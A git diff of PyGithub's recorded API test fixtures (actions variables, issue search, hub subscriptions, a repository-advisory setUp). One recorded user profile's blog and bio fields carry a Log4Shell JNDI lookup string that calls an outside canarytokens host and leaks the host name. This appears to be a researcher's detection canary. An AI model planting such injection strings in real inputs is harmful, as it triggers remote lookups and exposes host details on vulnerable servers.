v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1692,"open_issues":285,"watchers":6375,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-17T07:50:23Z","pushed_at":"2023-11-18T21:45:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13598,"stargazers_count":6375,"watchers_count":6375,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1692,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":285,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1692,"open_issues":285,"watchers":6375,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"}},"network_count":1692,"subscribers_count":0} + +https +POST +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/variables +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "VARIABLE_NAME_ONE", "value": "variable-value-one"} +201 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4792'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '208'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ECD1:740F:F26048:200D4CD:655930BF')] +{} + +https +POST +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/variables +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "VARIABLE_NAME_TWO", "value": "variable-value-two"} +201 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4791'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '209'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ECD3:60B1:10C5773:2357C6A:655930C0')] +{} + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub +{'If-None-Match': 'W/"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"', 'If-Modified-Since': 'Sat, 18 Nov 2023 13:36:18 GMT', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +304 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:40 GMT'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4791'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '209'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ECD4:37FB:10EFC8C:23B0C64:655930C0')] + + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/variables +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0cf5ddcd51d27c7c91509b5ed5de0393d0b2e07cb507c737b90a67594a2a102f"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4790'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '210'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ECD5:3AF1:FC6F7E:2160D7E:655930C0')] +{"variables":[{"name":"VARIABLE_NAME_ONE","value":"variable-value-one","created_at":"2023-11-18T21:46:40Z","updated_at":"2023-11-18T21:46:40Z"},{"name":"VARIABLE_NAME_TWO","value":"variable-value-two","created_at":"2023-11-18T21:46:40Z","updated_at":"2023-11-18T21:46:40Z"}],"total_count":2} + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/variables/VARIABLE_NAME_ONE +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:41 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4789'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '211'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ECD6:847D:10BCA34:2344E74:655930C0')] + + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/actions/variables/VARIABLE_NAME_TWO +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:41 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4788'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '212'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ECD7:4EBE:1058C41:22811D5:655930C1')] diff --git a/tests/ReplayData/Repository.testSearchIssues.txt b/tests/ReplayData/Repository.testSearchIssues.txt index d10d19052e..d539f79726 100644 --- a/tests/ReplayData/Repository.testSearchIssues.txt +++ b/tests/ReplayData/Repository.testSearchIssues.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '875'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4985'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"2e397de657b33283e77ef12a21326d0d"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 20:39:57 GMT'), ('content-type', 'application/json; charset=utf-8')] {"issues":[{"title":"Support new Search API","number":49,"user":"kukuts","html_url":"https://github.com/jacquev6/PyGithub/issues/49","labels":["Functionalities","RequestedByUser"],"body":"New API ported from v2 but i have trouble with adopting ask's library for v2 API to support v3 style for searching. \nhttp://developer.github.com/v3/search/\n\nIts not described in the page about parameters that search for repos API supports.\nThey are same as in v2 API, you can look them in ask's library.\nIn v2 was like that https://github.com/api/v2/json/repos/search/testing?start_page=2&language=Python\nIn v3 is https://api.github.com/legacy/repos/search/testing?start_page=2&language=Python","votes":0,"comments":2,"updated_at":"2012-06-25T12:31:14-07:00","gravatar_id":"9be6ba907be1740213b69422fdf52b57","position":1.0,"state":"open","created_at":"2012-06-21T05:27:38-07:00"}]} - diff --git a/tests/ReplayData/Repository.testSubscribePubSubHubbub.txt b/tests/ReplayData/Repository.testSubscribePubSubHubbub.txt index 564a0a5a80..d1699f2c01 100644 --- a/tests/ReplayData/Repository.testSubscribePubSubHubbub.txt +++ b/tests/ReplayData/Repository.testSubscribePubSubHubbub.txt @@ -7,5 +7,3 @@ None ------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.callback"http://requestb.in/1bc1sc61------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.topic"https://github.com/jacquev6/PyGithub/events/push------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.mode"subscribe------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.secret"my_secret------------------------------3c3ba8b523b2-- 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4997'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Tue, 05 Feb 2013 18:57:27 GMT')] - - diff --git a/tests/ReplayData/Repository.testUnsubscribePubSubHubbub.txt b/tests/ReplayData/Repository.testUnsubscribePubSubHubbub.txt index 81f924692d..75ce05269f 100644 --- a/tests/ReplayData/Repository.testUnsubscribePubSubHubbub.txt +++ b/tests/ReplayData/Repository.testUnsubscribePubSubHubbub.txt @@ -7,5 +7,3 @@ None ------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.callback"http://requestb.in/1bc1sc61------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.topic"https://github.com/jacquev6/PyGithub/events/push------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.mode"unsubscribe------------------------------3c3ba8b523b2-- 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4991'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Tue, 05 Feb 2013 18:58:12 GMT')] - - diff --git a/tests/ReplayData/RepositoryAdvisory.setUp.txt b/tests/ReplayData/RepositoryAdvisory.setUp.txt new file mode 100644 index 0000000000..ef86069716 --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.setUp.txt @@ -0,0 +1,54 @@ +https +GET +api.github.com +None +/user +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"708c0e86a047d2741565623eb77ba80d8b8df08ca93044d1b821c62814d7b69b"'), ('Last-Modified', 'Mon, 13 Mar 2023 16:02:40 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F60F:138E:603528:C4AB1C:642C4F43')] +{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false,"name":"Jonathan Leitschuh","company":"@ossf ","blog":"${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a}","location":"Boston, MA","email":"jonathan.leitschuh@gmail.com","hireable":null,"bio":"Software Engineer & Security Researcher;\r\n\r\nFirst Dan Kaminsky Fellow @ HUMAN Security;\r\n\r\n${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken","twitter_username":"JLLeitschuh","public_repos":1515,"public_gists":33,"followers":654,"following":65,"created_at":"2012-01-12T04:25:37Z","updated_at":"2023-03-13T16:02:40Z"} + +https +GET +api.github.com +None +/repos/JLLeitschuh/security-research +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 16:24:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2c275e3fcb50b1e0cb18877f0e3b0641f4e0196247cb7d28de72baed9c15ad31"'), ('Last-Modified', 'Sun, 05 Mar 2023 20:38:47 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1680628984'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F610:1E99:61E6BF:C7BB05:642C4F44')] +{"id":339780541,"node_id":"MDEwOlJlcG9zaXRvcnkzMzk3ODA1NDE=","name":"security-research","full_name":"JLLeitschuh/security-research","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/security-research","description":"Public disclosure channel for security vulnerabilities","fork":false,"url":"https://api.github.com/repos/JLLeitschuh/security-research","forks_url":"https://api.github.com/repos/JLLeitschuh/security-research/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/security-research/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/security-research/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/security-research/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/security-research/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/security-research/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/security-research/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/security-research/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/security-research/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/security-research/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/security-research/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/security-research/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/security-research/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/security-research/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/security-research/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/security-research/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/security-research/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/security-research/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/security-research/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/security-research/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/security-research/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/security-research/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/security-research/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/security-research/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/security-research/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/security-research/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/security-research/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/security-research/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/security-research/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/security-research/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/security-research/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/security-research/deployments","created_at":"2021-02-17T16:11:43Z","updated_at":"2023-03-05T20:38:47Z","pushed_at":"2023-02-24T18:21:14Z","git_url":"git://github.com/JLLeitschuh/security-research.git","ssh_url":"git@github.com:JLLeitschuh/security-research.git","clone_url":"https://github.com/JLLeitschuh/security-research.git","svn_url":"https://github.com/JLLeits